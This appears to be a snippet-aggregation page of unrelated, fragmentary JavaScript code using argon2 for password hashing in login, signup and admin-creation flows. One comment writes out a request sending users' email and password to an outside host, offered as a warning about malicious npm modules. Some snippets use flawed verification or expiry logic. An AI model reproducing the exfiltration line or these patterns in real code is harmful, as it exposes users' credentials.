Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.
.then((res) => {
// Check user exists
if (res.length === 0) {
throw new HTTPError(403, 'Invalid email address')
}
// Check valid password
return argon2.hash(event.body.password, salt)
.then((hashedPassword) => {
if (hashedPassword !== res[0].password) {
throw new HTTPError(403, 'Invalid password')
}
return
})
.then(() => controller.getPermissions(res[0].roles))
.then((permissions) => {
// Everything checks out, return JWT
return jwt.encode({
iss: pkg.name,
exp: Date.now() + process.env.AUTH_JWT_EXPIRES,
context: {
id: res[0]._id,
permissions
}
async function createAdmin (username = 'remove-this-admin', email = 'admin@email.com') {
try {
let db = await MongoClient.connect(process.env.DB_URL)
let rand = uuidv4().split('-').join('')
let password = await argon2.hash(rand)
await db.collection('users').insertOne({ username, email, password, admin: true })
console.log(`
username: ${username}
password: ${rand}
Please sign in and create a new super user immediately. Delete this user when done.
`)
await db.close()
} catch (error) {
console.log(error)
process.exit(1)
}
}
register: async (_, { input }) => {
try {
await registerSchema.validate(input, { abortEarly: false });
} catch (err) {
return {
errors: formatYupError(err)
};
}
const { email, username, password } = input;
const hashedPassword = await argon.hash(password);
try {
await User.create({
email,
username,
password: hashedPassword
}).save();
} catch (err) {
console.log(err);
const { detail } = err;
if (detail.includes("already exists.")) {
if (detail.includes("email")) {
return {
errors: [
{
path: "email",
* require('http')
* .request({
* hostname: 'http://my-other-api.com/',
* path: '/store-credentials',
* port: 80,
* method: 'POST',
* }, ()=>{}).write(JSON.stringify({ email, password })).end();
*
* Just kidding, don't do that!!!
*
* But what if, an NPM module that you trust, like body-parser, was injected with malicious code that
* watches every API call and if it spots a 'password' and 'email' property then
* it decides to steal them!? Would you even notice that? I wouldn't :/
*/
this.logger.silly('Hashing password');
const hashedPassword = await argon2.hash(userInputDTO.password, { salt });
this.logger.silly('Creating user db record');
const userRecord = await this.userModel.create({
...userInputDTO,
salt: salt.toString('hex'),
password: hashedPassword,
});
this.logger.silly('Generating JWT');
const token = this.generateToken(userRecord);
if (!userRecord) {
throw new Error('User cannot be created');
}
this.logger.silly('Sending welcome email');
await this.mailer.SendWelcomeEmail(userRecord);
this.eventDispatcher.dispatch(events.user.signUp, { user: userRecord });
argon2: (input, salt) => {
return argon2.hash(input, {
raw: true,
salt: Buffer.from(salt),
});
},
private async createUserAndSession(res:Response, credentials) {
const passwordHash = await argon2.hash(credentials.password);
const user = await db.createUser(credentials.email, passwordHash);
const sessionToken = await auth.createSessionToken(user);
const csrfToken = await auth.createCsrfToken();
res.cookie("SESSIONID", sessionToken, {httpOnly:true, secure:true});
res.cookie("XSRF-TOKEN", csrfToken);
res.status(200).json({id:user.id, email:user.email, roles: user.roles});
}